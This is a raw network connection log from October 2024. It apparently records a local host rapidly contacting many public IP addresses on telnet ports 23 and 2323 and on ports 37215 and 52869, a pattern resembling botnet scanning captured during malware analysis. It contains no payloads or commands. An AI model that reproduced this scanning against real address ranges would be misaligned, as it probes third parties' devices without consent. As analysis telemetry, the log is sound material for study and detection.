Oct 6, 2024 20:00:44.486614943 CEST	37215	49416	41.233.44.190	192.168.2.15
Oct 6, 2024 20:00:44.486624002 CEST	50952	23	192.168.2.15	218.125.255.252
Oct 6, 2024 20:00:44.486624956 CEST	50952	23	192.168.2.15	41.249.193.140
Oct 6, 2024 20:00:44.486624956 CEST	50952	23	192.168.2.15	204.165.172.184
Oct 6, 2024 20:00:44.486628056 CEST	37215	49416	156.139.12.174	192.168.2.15
Oct 6, 2024 20:00:44.486634970 CEST	50952	23	192.168.2.15	93.28.154.251
Oct 6, 2024 20:00:44.486639023 CEST	49416	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:44.486639023 CEST	50952	2323	192.168.2.15	148.217.182.255
Oct 6, 2024 20:00:44.486639977 CEST	37215	49416	197.45.60.52	192.168.2.15
Oct 6, 2024 20:00:44.486643076 CEST	49416	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:44.486649036 CEST	50952	23	192.168.2.15	220.80.13.77
Oct 6, 2024 20:00:44.486653090 CEST	37215	49416	156.16.124.10	192.168.2.15
Oct 6, 2024 20:00:44.486661911 CEST	50952	23	192.168.2.15	161.251.111.106
Oct 6, 2024 20:00:44.486663103 CEST	50952	23	192.168.2.15	122.251.157.74
Oct 6, 2024 20:00:44.486665010 CEST	37215	49416	41.120.114.119	192.168.2.15
Oct 6, 2024 20:00:44.486666918 CEST	50952	23	192.168.2.15	90.41.136.221
Oct 6, 2024 20:00:44.486668110 CEST	49416	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:44.486668110 CEST	50952	23	192.168.2.15	100.9.86.12
Oct 6, 2024 20:00:44.486675978 CEST	49416	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:44.486677885 CEST	37215	49416	41.245.196.43	192.168.2.15
Oct 6, 2024 20:00:44.486680984 CEST	50952	23	192.168.2.15	83.127.6.101
Oct 6, 2024 20:00:44.486680984 CEST	50952	23	192.168.2.15	202.202.62.8
Oct 6, 2024 20:00:44.486685991 CEST	49416	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:44.486689091 CEST	50952	23	192.168.2.15	44.235.81.189
Oct 6, 2024 20:00:44.486694098 CEST	37215	49416	41.30.135.209	192.168.2.15
Oct 6, 2024 20:00:44.486696959 CEST	49416	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:44.486696959 CEST	50952	2323	192.168.2.15	139.229.225.76
Oct 6, 2024 20:00:44.486702919 CEST	49416	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:44.486706972 CEST	37215	49416	197.248.150.107	192.168.2.15
Oct 6, 2024 20:00:44.486709118 CEST	50952	23	192.168.2.15	90.45.23.170
Oct 6, 2024 20:00:44.486711025 CEST	50952	23	192.168.2.15	4.44.233.183
Oct 6, 2024 20:00:44.486711979 CEST	50952	23	192.168.2.15	164.174.107.55
Oct 6, 2024 20:00:44.486717939 CEST	50952	23	192.168.2.15	181.93.126.41
Oct 6, 2024 20:00:44.486720085 CEST	37215	49416	156.186.47.194	192.168.2.15
Oct 6, 2024 20:00:44.486731052 CEST	49416	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:44.486732006 CEST	37215	49416	41.196.187.73	192.168.2.15
Oct 6, 2024 20:00:44.486741066 CEST	50952	23	192.168.2.15	102.1.181.25
Oct 6, 2024 20:00:44.486742020 CEST	49416	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:44.486745119 CEST	37215	49416	41.241.82.163	192.168.2.15
Oct 6, 2024 20:00:44.486751080 CEST	49416	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:44.486752987 CEST	50952	23	192.168.2.15	163.232.131.126
Oct 6, 2024 20:00:44.486757040 CEST	37215	49416	156.136.209.164	192.168.2.15
Oct 6, 2024 20:00:44.486757994 CEST	49416	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:44.486761093 CEST	50952	23	192.168.2.15	160.160.61.159
Oct 6, 2024 20:00:44.486761093 CEST	50952	23	192.168.2.15	171.3.153.197
Oct 6, 2024 20:00:44.486773968 CEST	37215	49416	197.199.224.132	192.168.2.15
Oct 6, 2024 20:00:44.486774921 CEST	50952	23	192.168.2.15	85.86.130.100
Oct 6, 2024 20:00:44.486782074 CEST	49416	37215	192.168.2.15	41.241.82.163
Oct 6, 2024 20:00:44.486794949 CEST	50952	23	192.168.2.15	203.229.201.67
Oct 6, 2024 20:00:44.486797094 CEST	37215	49416	197.209.210.67	192.168.2.15
Oct 6, 2024 20:00:44.486799955 CEST	50952	23	192.168.2.15	38.19.2.203
Oct 6, 2024 20:00:44.486804008 CEST	49416	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:44.486804008 CEST	50952	2323	192.168.2.15	169.89.227.42
Oct 6, 2024 20:00:44.486804008 CEST	49416	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:44.486809015 CEST	50952	23	192.168.2.15	98.37.19.86
Oct 6, 2024 20:00:44.486809969 CEST	37215	49416	156.221.220.140	192.168.2.15
Oct 6, 2024 20:00:44.486814022 CEST	50952	23	192.168.2.15	133.221.186.229
Oct 6, 2024 20:00:44.486816883 CEST	50952	23	192.168.2.15	188.173.35.244
Oct 6, 2024 20:00:44.486823082 CEST	50952	23	192.168.2.15	217.0.3.144
Oct 6, 2024 20:00:44.486823082 CEST	37215	49416	41.40.22.66	192.168.2.15
Oct 6, 2024 20:00:44.486824989 CEST	49416	37215	192.168.2.15	197.209.210.67
Oct 6, 2024 20:00:44.486835957 CEST	37215	49416	197.230.212.179	192.168.2.15
Oct 6, 2024 20:00:44.486844063 CEST	50952	23	192.168.2.15	204.125.232.130
Oct 6, 2024 20:00:44.486848116 CEST	49416	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:44.486849070 CEST	37215	49416	197.164.168.63	192.168.2.15
Oct 6, 2024 20:00:44.486854076 CEST	50952	23	192.168.2.15	46.17.29.176
Oct 6, 2024 20:00:44.486860037 CEST	49416	37215	192.168.2.15	41.40.22.66
Oct 6, 2024 20:00:44.486861944 CEST	37215	49416	156.252.219.203	192.168.2.15
Oct 6, 2024 20:00:44.486871958 CEST	50952	23	192.168.2.15	222.61.82.110
Oct 6, 2024 20:00:44.486870050 CEST	50952	23	192.168.2.15	136.2.2.151
Oct 6, 2024 20:00:44.486870050 CEST	49416	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:44.486877918 CEST	50952	2323	192.168.2.15	172.223.145.65
Oct 6, 2024 20:00:44.486893892 CEST	49416	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:44.486895084 CEST	50952	23	192.168.2.15	78.131.141.6
Oct 6, 2024 20:00:44.486896038 CEST	49416	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:44.486897945 CEST	50952	23	192.168.2.15	19.118.113.11
Oct 6, 2024 20:00:44.486913919 CEST	50952	23	192.168.2.15	194.107.167.239
Oct 6, 2024 20:00:44.486915112 CEST	50952	23	192.168.2.15	86.9.92.54
Oct 6, 2024 20:00:44.486916065 CEST	50952	23	192.168.2.15	95.1.120.107
Oct 6, 2024 20:00:44.486932993 CEST	50952	23	192.168.2.15	196.112.183.142
Oct 6, 2024 20:00:44.486933947 CEST	50952	23	192.168.2.15	209.41.141.122
Oct 6, 2024 20:00:44.486942053 CEST	50952	23	192.168.2.15	79.66.140.62
Oct 6, 2024 20:00:44.486951113 CEST	50952	23	192.168.2.15	68.171.62.32
Oct 6, 2024 20:00:44.486958027 CEST	50952	2323	192.168.2.15	177.62.228.171
Oct 6, 2024 20:00:44.486958027 CEST	50952	23	192.168.2.15	160.224.133.8
Oct 6, 2024 20:00:44.486967087 CEST	50952	23	192.168.2.15	160.50.93.189
Oct 6, 2024 20:00:44.486969948 CEST	50952	23	192.168.2.15	34.233.95.74
Oct 6, 2024 20:00:44.486980915 CEST	50952	23	192.168.2.15	171.108.72.1
Oct 6, 2024 20:00:44.486984015 CEST	50952	23	192.168.2.15	203.168.86.90
Oct 6, 2024 20:00:44.486994028 CEST	50952	23	192.168.2.15	14.10.13.225
Oct 6, 2024 20:00:44.486998081 CEST	50952	23	192.168.2.15	158.84.206.219
Oct 6, 2024 20:00:44.487000942 CEST	50952	23	192.168.2.15	148.129.88.164
Oct 6, 2024 20:00:44.487008095 CEST	50952	23	192.168.2.15	77.177.122.148
Oct 6, 2024 20:00:44.487015963 CEST	50952	2323	192.168.2.15	164.147.114.35
Oct 6, 2024 20:00:44.487020016 CEST	50952	23	192.168.2.15	78.82.233.127
Oct 6, 2024 20:00:44.487026930 CEST	50952	23	192.168.2.15	216.62.206.0
Oct 6, 2024 20:00:44.487030983 CEST	50952	23	192.168.2.15	152.252.124.117
Oct 6, 2024 20:00:44.487034082 CEST	50952	23	192.168.2.15	175.192.208.42
Oct 6, 2024 20:00:44.487046003 CEST	50952	23	192.168.2.15	120.208.81.142
Oct 6, 2024 20:00:44.487051964 CEST	50952	23	192.168.2.15	36.132.77.177
Oct 6, 2024 20:00:44.487057924 CEST	50952	23	192.168.2.15	48.112.185.118
Oct 6, 2024 20:00:44.487061977 CEST	50952	23	192.168.2.15	60.141.210.17
Oct 6, 2024 20:00:44.487061977 CEST	50952	23	192.168.2.15	9.219.243.135
Oct 6, 2024 20:00:44.487076044 CEST	50952	2323	192.168.2.15	126.73.153.212
Oct 6, 2024 20:00:44.487085104 CEST	50952	23	192.168.2.15	4.30.243.71
Oct 6, 2024 20:00:44.487091064 CEST	50952	23	192.168.2.15	167.59.121.184
Oct 6, 2024 20:00:44.487092972 CEST	50952	23	192.168.2.15	57.58.93.52
Oct 6, 2024 20:00:44.487106085 CEST	50952	23	192.168.2.15	122.253.5.138
Oct 6, 2024 20:00:44.487112999 CEST	50952	23	192.168.2.15	120.116.45.138
Oct 6, 2024 20:00:44.487116098 CEST	50952	23	192.168.2.15	74.225.114.8
Oct 6, 2024 20:00:44.487124920 CEST	50952	23	192.168.2.15	157.227.232.144
Oct 6, 2024 20:00:44.487127066 CEST	50952	23	192.168.2.15	167.69.239.107
Oct 6, 2024 20:00:44.487133026 CEST	37215	49416	156.68.175.89	192.168.2.15
Oct 6, 2024 20:00:44.487138987 CEST	50952	23	192.168.2.15	97.80.191.243
Oct 6, 2024 20:00:44.487139940 CEST	50952	2323	192.168.2.15	190.91.68.147
Oct 6, 2024 20:00:44.487148046 CEST	37215	49416	197.100.196.209	192.168.2.15
Oct 6, 2024 20:00:44.487160921 CEST	37215	49416	156.169.155.153	192.168.2.15
Oct 6, 2024 20:00:44.487160921 CEST	50952	23	192.168.2.15	23.38.134.62
Oct 6, 2024 20:00:44.487160921 CEST	50952	23	192.168.2.15	182.145.216.206
Oct 6, 2024 20:00:44.487162113 CEST	50952	23	192.168.2.15	113.173.147.22
Oct 6, 2024 20:00:44.487164021 CEST	49416	37215	192.168.2.15	156.68.175.89
Oct 6, 2024 20:00:44.487174034 CEST	37215	49416	197.6.85.118	192.168.2.15
Oct 6, 2024 20:00:44.487178087 CEST	49416	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:44.487185955 CEST	50952	23	192.168.2.15	138.2.194.195
Oct 6, 2024 20:00:44.487186909 CEST	37215	49416	197.37.70.229	192.168.2.15
Oct 6, 2024 20:00:44.487194061 CEST	49416	37215	192.168.2.15	156.169.155.153
Oct 6, 2024 20:00:44.487200022 CEST	37215	49416	41.188.37.80	192.168.2.15
Oct 6, 2024 20:00:44.487205982 CEST	49416	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:44.487212896 CEST	37215	49416	156.129.242.169	192.168.2.15
Oct 6, 2024 20:00:44.487221003 CEST	49416	37215	192.168.2.15	197.37.70.229
Oct 6, 2024 20:00:44.487221956 CEST	50952	23	192.168.2.15	171.0.150.211
Oct 6, 2024 20:00:44.487229109 CEST	50952	23	192.168.2.15	18.50.97.21
Oct 6, 2024 20:00:44.487229109 CEST	49416	37215	192.168.2.15	41.188.37.80
Oct 6, 2024 20:00:44.487236977 CEST	37215	49416	156.42.253.125	192.168.2.15
Oct 6, 2024 20:00:44.487243891 CEST	50952	23	192.168.2.15	177.216.168.27
Oct 6, 2024 20:00:44.487243891 CEST	50952	23	192.168.2.15	149.225.101.254
Oct 6, 2024 20:00:44.487245083 CEST	49416	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:44.487247944 CEST	50952	23	192.168.2.15	82.101.134.102
Oct 6, 2024 20:00:44.487251043 CEST	37215	49416	156.132.32.120	192.168.2.15
Oct 6, 2024 20:00:44.487253904 CEST	50952	2323	192.168.2.15	117.143.37.195
Oct 6, 2024 20:00:44.487258911 CEST	50952	23	192.168.2.15	84.89.111.117
Oct 6, 2024 20:00:44.487261057 CEST	50952	23	192.168.2.15	32.218.145.148
Oct 6, 2024 20:00:44.487262964 CEST	50952	23	192.168.2.15	1.168.0.247
Oct 6, 2024 20:00:44.487263918 CEST	37215	49416	197.127.80.98	192.168.2.15
Oct 6, 2024 20:00:44.487272024 CEST	49416	37215	192.168.2.15	156.42.253.125
Oct 6, 2024 20:00:44.487277031 CEST	37215	49416	156.92.240.142	192.168.2.15
Oct 6, 2024 20:00:44.487287998 CEST	49416	37215	192.168.2.15	156.132.32.120
Oct 6, 2024 20:00:44.487287998 CEST	50952	23	192.168.2.15	66.48.89.123
Oct 6, 2024 20:00:44.487289906 CEST	37215	49416	197.91.228.36	192.168.2.15
Oct 6, 2024 20:00:44.487304926 CEST	37215	49416	156.112.0.159	192.168.2.15
Oct 6, 2024 20:00:44.487306118 CEST	49416	37215	192.168.2.15	197.127.80.98
Oct 6, 2024 20:00:44.487306118 CEST	50952	23	192.168.2.15	12.155.252.130
Oct 6, 2024 20:00:44.487306118 CEST	50952	23	192.168.2.15	147.67.120.167
Oct 6, 2024 20:00:44.487310886 CEST	50952	23	192.168.2.15	98.61.120.21
Oct 6, 2024 20:00:44.487312078 CEST	49416	37215	192.168.2.15	156.92.240.142
Oct 6, 2024 20:00:44.487317085 CEST	37215	49416	41.128.123.30	192.168.2.15
Oct 6, 2024 20:00:44.487329960 CEST	37215	49416	156.133.233.253	192.168.2.15
Oct 6, 2024 20:00:44.487329960 CEST	49416	37215	192.168.2.15	197.91.228.36
Oct 6, 2024 20:00:44.487339973 CEST	49416	37215	192.168.2.15	156.112.0.159
Oct 6, 2024 20:00:44.487341881 CEST	50952	23	192.168.2.15	202.220.211.235
Oct 6, 2024 20:00:44.487341881 CEST	37215	49416	197.45.3.126	192.168.2.15
Oct 6, 2024 20:00:44.487350941 CEST	49416	37215	192.168.2.15	41.128.123.30
Oct 6, 2024 20:00:44.487354994 CEST	37215	49416	41.136.93.105	192.168.2.15
Oct 6, 2024 20:00:44.487358093 CEST	50952	23	192.168.2.15	19.182.48.134
Oct 6, 2024 20:00:44.487361908 CEST	49416	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:44.487368107 CEST	37215	49416	197.96.94.0	192.168.2.15
Oct 6, 2024 20:00:44.487373114 CEST	49416	37215	192.168.2.15	197.45.3.126
Oct 6, 2024 20:00:44.487380028 CEST	37215	49416	156.68.15.29	192.168.2.15
Oct 6, 2024 20:00:44.487406015 CEST	37215	49416	41.38.116.194	192.168.2.15
Oct 6, 2024 20:00:44.487411022 CEST	49416	37215	192.168.2.15	41.136.93.105
Oct 6, 2024 20:00:44.487415075 CEST	49416	37215	192.168.2.15	197.96.94.0
Oct 6, 2024 20:00:44.487416983 CEST	49416	37215	192.168.2.15	156.68.15.29
Oct 6, 2024 20:00:44.487418890 CEST	37215	49416	197.24.111.30	192.168.2.15
Oct 6, 2024 20:00:44.487433910 CEST	37215	49416	197.203.124.49	192.168.2.15
Oct 6, 2024 20:00:44.487442017 CEST	49416	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:44.487457991 CEST	49416	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:44.487473965 CEST	49416	37215	192.168.2.15	197.203.124.49
Oct 6, 2024 20:00:44.487701893 CEST	37215	49416	156.91.169.164	192.168.2.15
Oct 6, 2024 20:00:44.487715960 CEST	37215	49416	197.25.250.231	192.168.2.15
Oct 6, 2024 20:00:44.487728119 CEST	37215	49416	41.58.12.135	192.168.2.15
Oct 6, 2024 20:00:44.487739086 CEST	37215	49416	197.129.215.179	192.168.2.15
Oct 6, 2024 20:00:44.487747908 CEST	49416	37215	192.168.2.15	156.91.169.164
Oct 6, 2024 20:00:44.487747908 CEST	49416	37215	192.168.2.15	197.25.250.231
Oct 6, 2024 20:00:44.487751961 CEST	37215	49416	41.183.99.161	192.168.2.15
Oct 6, 2024 20:00:44.487759113 CEST	49416	37215	192.168.2.15	41.58.12.135
Oct 6, 2024 20:00:44.487766027 CEST	37215	49416	197.205.137.129	192.168.2.15
Oct 6, 2024 20:00:44.487772942 CEST	49416	37215	192.168.2.15	197.129.215.179
Oct 6, 2024 20:00:44.487780094 CEST	49416	37215	192.168.2.15	41.183.99.161
Oct 6, 2024 20:00:44.487781048 CEST	37215	49416	156.128.78.62	192.168.2.15
Oct 6, 2024 20:00:44.487792969 CEST	37215	49416	41.217.31.149	192.168.2.15
Oct 6, 2024 20:00:44.487796068 CEST	49416	37215	192.168.2.15	197.205.137.129
Oct 6, 2024 20:00:44.487804890 CEST	37215	49416	41.152.152.38	192.168.2.15
Oct 6, 2024 20:00:44.487813950 CEST	49416	37215	192.168.2.15	156.128.78.62
Oct 6, 2024 20:00:44.487818003 CEST	37215	49416	156.194.180.181	192.168.2.15
Oct 6, 2024 20:00:44.487822056 CEST	49416	37215	192.168.2.15	41.217.31.149
Oct 6, 2024 20:00:44.487831116 CEST	37215	49416	197.152.4.213	192.168.2.15
Oct 6, 2024 20:00:44.487837076 CEST	49416	37215	192.168.2.15	41.152.152.38
Oct 6, 2024 20:00:44.487843990 CEST	37215	49416	156.95.166.80	192.168.2.15
Oct 6, 2024 20:00:44.487847090 CEST	49416	37215	192.168.2.15	156.194.180.181
Oct 6, 2024 20:00:44.487857103 CEST	37215	49416	41.214.63.217	192.168.2.15
Oct 6, 2024 20:00:44.487862110 CEST	49416	37215	192.168.2.15	197.152.4.213
Oct 6, 2024 20:00:44.487869978 CEST	37215	49416	156.24.118.60	192.168.2.15
Oct 6, 2024 20:00:44.487874985 CEST	49416	37215	192.168.2.15	156.95.166.80
Oct 6, 2024 20:00:44.487884045 CEST	37215	49416	156.118.181.143	192.168.2.15
Oct 6, 2024 20:00:44.487884998 CEST	49416	37215	192.168.2.15	41.214.63.217
Oct 6, 2024 20:00:44.487896919 CEST	37215	49416	156.43.195.226	192.168.2.15
Oct 6, 2024 20:00:44.487911940 CEST	49416	37215	192.168.2.15	156.24.118.60
Oct 6, 2024 20:00:44.487911940 CEST	49416	37215	192.168.2.15	156.118.181.143
Oct 6, 2024 20:00:44.487917900 CEST	37215	49416	156.120.223.201	192.168.2.15
Oct 6, 2024 20:00:44.487926960 CEST	49416	37215	192.168.2.15	156.43.195.226
Oct 6, 2024 20:00:44.487931013 CEST	37215	49416	156.184.29.71	192.168.2.15
Oct 6, 2024 20:00:44.487942934 CEST	37215	49416	197.161.252.62	192.168.2.15
Oct 6, 2024 20:00:44.487955093 CEST	37215	49416	156.158.243.61	192.168.2.15
Oct 6, 2024 20:00:44.487955093 CEST	49416	37215	192.168.2.15	156.120.223.201
Oct 6, 2024 20:00:44.487962961 CEST	49416	37215	192.168.2.15	156.184.29.71
Oct 6, 2024 20:00:44.487967968 CEST	37215	49416	41.215.184.177	192.168.2.15
Oct 6, 2024 20:00:44.487978935 CEST	49416	37215	192.168.2.15	197.161.252.62
Oct 6, 2024 20:00:44.487979889 CEST	49416	37215	192.168.2.15	156.158.243.61
Oct 6, 2024 20:00:44.488032103 CEST	37215	49416	41.222.230.25	192.168.2.15
Oct 6, 2024 20:00:44.488044977 CEST	37215	49416	156.196.150.48	192.168.2.15
Oct 6, 2024 20:00:44.488056898 CEST	37215	49416	156.190.230.144	192.168.2.15
Oct 6, 2024 20:00:44.488059998 CEST	49416	37215	192.168.2.15	41.215.184.177
Oct 6, 2024 20:00:44.488061905 CEST	49416	37215	192.168.2.15	41.222.230.25
Oct 6, 2024 20:00:44.488069057 CEST	37215	49416	156.50.108.213	192.168.2.15
Oct 6, 2024 20:00:44.488080978 CEST	37215	49416	156.159.31.250	192.168.2.15
Oct 6, 2024 20:00:44.488081932 CEST	49416	37215	192.168.2.15	156.196.150.48
Oct 6, 2024 20:00:44.488090992 CEST	49416	37215	192.168.2.15	156.190.230.144
Oct 6, 2024 20:00:44.488091946 CEST	37215	49416	156.215.228.221	192.168.2.15
Oct 6, 2024 20:00:44.488101959 CEST	49416	37215	192.168.2.15	156.50.108.213
Oct 6, 2024 20:00:44.488105059 CEST	37215	49416	41.60.149.65	192.168.2.15
Oct 6, 2024 20:00:44.488114119 CEST	49416	37215	192.168.2.15	156.159.31.250
Oct 6, 2024 20:00:44.488117933 CEST	37215	49416	41.184.55.157	192.168.2.15
Oct 6, 2024 20:00:44.488118887 CEST	49416	37215	192.168.2.15	156.215.228.221
Oct 6, 2024 20:00:44.488130093 CEST	37215	49416	197.10.216.164	192.168.2.15
Oct 6, 2024 20:00:44.488138914 CEST	49416	37215	192.168.2.15	41.60.149.65
Oct 6, 2024 20:00:44.488142967 CEST	37215	49416	156.195.245.128	192.168.2.15
Oct 6, 2024 20:00:44.488154888 CEST	37215	49416	41.35.183.42	192.168.2.15
Oct 6, 2024 20:00:44.488157988 CEST	49416	37215	192.168.2.15	41.184.55.157
Oct 6, 2024 20:00:44.488163948 CEST	49416	37215	192.168.2.15	197.10.216.164
Oct 6, 2024 20:00:44.488168955 CEST	49416	37215	192.168.2.15	156.195.245.128
Oct 6, 2024 20:00:44.488192081 CEST	49416	37215	192.168.2.15	41.35.183.42
Oct 6, 2024 20:00:44.488353968 CEST	52869	49160	41.183.191.136	192.168.2.15
Oct 6, 2024 20:00:44.488367081 CEST	52869	49160	156.209.222.208	192.168.2.15
Oct 6, 2024 20:00:44.488379955 CEST	52869	49160	197.248.131.4	192.168.2.15
Oct 6, 2024 20:00:44.488393068 CEST	52869	49160	197.245.110.106	192.168.2.15
Oct 6, 2024 20:00:44.488394022 CEST	49160	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:44.488403082 CEST	49160	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:44.488409042 CEST	52869	49160	41.160.145.109	192.168.2.15
Oct 6, 2024 20:00:44.488415003 CEST	49160	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:44.488421917 CEST	49160	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:44.488446951 CEST	49160	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:44.488646030 CEST	52869	49160	41.152.8.136	192.168.2.15
Oct 6, 2024 20:00:44.488677025 CEST	52869	49160	197.225.206.52	192.168.2.15
Oct 6, 2024 20:00:44.488684893 CEST	49160	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:44.488717079 CEST	49160	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:44.488740921 CEST	52869	49160	156.140.4.216	192.168.2.15
Oct 6, 2024 20:00:44.488750935 CEST	52869	49160	197.115.54.7	192.168.2.15
Oct 6, 2024 20:00:44.488760948 CEST	52869	49160	41.88.112.9	192.168.2.15
Oct 6, 2024 20:00:44.488770008 CEST	52869	49160	197.66.205.185	192.168.2.15
Oct 6, 2024 20:00:44.488776922 CEST	49160	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:44.488779068 CEST	52869	49160	41.234.254.118	192.168.2.15
Oct 6, 2024 20:00:44.488780022 CEST	49160	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:44.488795996 CEST	49160	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:44.488795996 CEST	52869	49160	197.91.217.111	192.168.2.15
Oct 6, 2024 20:00:44.488800049 CEST	49160	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:44.488807917 CEST	52869	49160	197.188.171.59	192.168.2.15
Oct 6, 2024 20:00:44.488811016 CEST	49160	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:44.488816977 CEST	52869	49160	156.84.91.166	192.168.2.15
Oct 6, 2024 20:00:44.488826990 CEST	52869	49160	197.6.243.246	192.168.2.15
Oct 6, 2024 20:00:44.488827944 CEST	49160	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:44.488836050 CEST	52869	49160	156.111.21.115	192.168.2.15
Oct 6, 2024 20:00:44.488843918 CEST	49160	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:44.488846064 CEST	52869	49160	41.201.71.143	192.168.2.15
Oct 6, 2024 20:00:44.488848925 CEST	49160	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:44.488854885 CEST	49160	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:44.488856077 CEST	52869	49160	197.102.208.139	192.168.2.15
Oct 6, 2024 20:00:44.488872051 CEST	49160	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:44.488873959 CEST	52869	49160	197.223.1.202	192.168.2.15
Oct 6, 2024 20:00:44.488881111 CEST	49160	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:44.488883972 CEST	52869	49160	197.116.43.94	192.168.2.15
Oct 6, 2024 20:00:44.488888979 CEST	49160	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:44.488894939 CEST	52869	49160	41.84.181.199	192.168.2.15
Oct 6, 2024 20:00:44.488904953 CEST	52869	49160	197.167.179.38	192.168.2.15
Oct 6, 2024 20:00:44.488908052 CEST	49160	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:44.488913059 CEST	49160	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:44.488914013 CEST	52869	49160	156.78.143.45	192.168.2.15
Oct 6, 2024 20:00:44.488931894 CEST	49160	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:44.488938093 CEST	49160	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:44.488940954 CEST	49160	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:44.489365101 CEST	52869	49160	41.33.42.120	192.168.2.15
Oct 6, 2024 20:00:44.489375114 CEST	52869	49160	41.49.2.128	192.168.2.15
Oct 6, 2024 20:00:44.489383936 CEST	52869	49160	41.111.81.107	192.168.2.15
Oct 6, 2024 20:00:44.489393950 CEST	52869	49160	156.67.119.255	192.168.2.15
Oct 6, 2024 20:00:44.489403009 CEST	52869	49160	156.5.234.27	192.168.2.15
Oct 6, 2024 20:00:44.489408970 CEST	49160	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:44.489408970 CEST	49160	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:44.489420891 CEST	52869	49160	197.229.67.248	192.168.2.15
Oct 6, 2024 20:00:44.489425898 CEST	49160	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:44.489428997 CEST	49160	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:44.489432096 CEST	52869	49160	156.43.59.77	192.168.2.15
Oct 6, 2024 20:00:44.489443064 CEST	52869	49160	41.127.219.252	192.168.2.15
Oct 6, 2024 20:00:44.489447117 CEST	49160	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:44.489459038 CEST	49160	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:44.489459991 CEST	52869	49160	197.202.148.63	192.168.2.15
Oct 6, 2024 20:00:44.489464045 CEST	49160	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:44.489470005 CEST	52869	49160	41.145.82.194	192.168.2.15
Oct 6, 2024 20:00:44.489474058 CEST	49160	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:44.489480019 CEST	52869	49160	197.175.106.121	192.168.2.15
Oct 6, 2024 20:00:44.489490032 CEST	52869	49160	156.11.241.64	192.168.2.15
Oct 6, 2024 20:00:44.489495993 CEST	49160	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:44.489499092 CEST	49160	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:44.489500046 CEST	52869	49160	156.146.11.26	192.168.2.15
Oct 6, 2024 20:00:44.489511013 CEST	52869	49160	41.219.49.191	192.168.2.15
Oct 6, 2024 20:00:44.489516020 CEST	49160	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:44.489518881 CEST	49160	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:44.489521027 CEST	52869	49160	156.254.20.162	192.168.2.15
Oct 6, 2024 20:00:44.489526987 CEST	49160	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:44.489531040 CEST	52869	49160	197.29.5.14	192.168.2.15
Oct 6, 2024 20:00:44.489540100 CEST	52869	49160	41.126.219.241	192.168.2.15
Oct 6, 2024 20:00:44.489542007 CEST	49160	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:44.489548922 CEST	52869	49160	197.183.46.225	192.168.2.15
Oct 6, 2024 20:00:44.489556074 CEST	49160	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:44.489557981 CEST	52869	49160	41.8.233.71	192.168.2.15
Oct 6, 2024 20:00:44.489561081 CEST	49160	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:44.489562988 CEST	49160	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:44.489572048 CEST	52869	49160	156.203.57.172	192.168.2.15
Oct 6, 2024 20:00:44.489578962 CEST	49160	52869	192.168.2.15	197.183.46.225
